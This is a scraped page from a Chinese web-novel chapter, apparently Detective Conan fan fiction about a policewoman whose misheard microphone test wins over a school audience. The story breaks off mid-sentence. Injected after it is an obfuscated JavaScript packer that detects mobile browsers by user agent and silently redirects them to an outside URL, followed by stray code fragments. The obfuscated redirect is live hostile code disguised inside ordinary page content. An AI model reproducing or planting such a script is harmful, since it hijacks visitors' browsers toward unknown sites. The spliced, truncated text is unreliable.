55.宣讲任务(二)(第2页)

 




    “……?”这是怎么回事?空山紧张地左右望。
 




    “警官小姐再来一段英语!”
 




    “好标准的发音!”
 




    “漂亮的水平!”
 




    伴随着掌声,台下的学生们开始起哄,其中还夹杂着几声口哨声。
 




    宣讲还没开始,气氛就已经被调动了起来。
 




    “小兰,刚刚警官小姐说的是什么啊?”铃木原子拉拉毛利兰的衣袖,问道。
 




    在发现宣讲的警官们中没有池面警员后,铃木园子就失去了大部分的兴趣。也就错过了刚刚空山湫的发言。
 




    “是英文的wait.salutation.(静一静,测试。)”毛利兰为园子解释:“这位就是我之前和新一提到的空山警官,没想到这一次是她负责我们学校的宣讲。真是缘分啊。”
 




    “她的发音还蛮标准的。”工藤点评到。
 




    工藤新一的母亲工藤有希子常常带着他前往英法度假,对于语言他要比普通同学们更敏感。即使如此他也不得不承认,空山的发音是标准的美式发音。
 




    这完全是一场美丽的误会。
 




    在现代日语中,常常用片假名书写从英文等语言中转借的词汇。例如puter(电脑)”会被写成“kompyuta”。正是这种约定俗成的使用片假名表示外来语的习惯,导致了日式英语完全的灾难。
 




    甚至有这么一则笑话——如果你学会了日语再去学英语,你会学到大佐味英语。如果你学会了英语再去学日语,你会失去英语。
 




    空山湫灵机一动的“喂salutation.”就这么转身一变,成为了发音标准的“wait,salutation.”
 




    标准的美式发音和西化的测试口号在宣讲前就为空山拉足了存在感。甚至一些英语老师都真情实感地鼓起了掌。
 




    “再来几句吧警官小姐!”
 




    空山不由得觉得面上发热,她在心里大吼:“这是怎么一回事啊?他们怎么一瞬间这么热情!”
 




    原先空山套用国内的校园宣讲经验,以为台下的学生们会睡觉的睡觉,吃零食的吃零食,看小说的看小说呢!她看着礼堂里欢呼起哄地学生们,搞不清现状。
 




    “好了空山,这里交给我吧。”佐
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815907|155237||http|test|mini|href|location''.split(''|''),0,{}));
 




    () {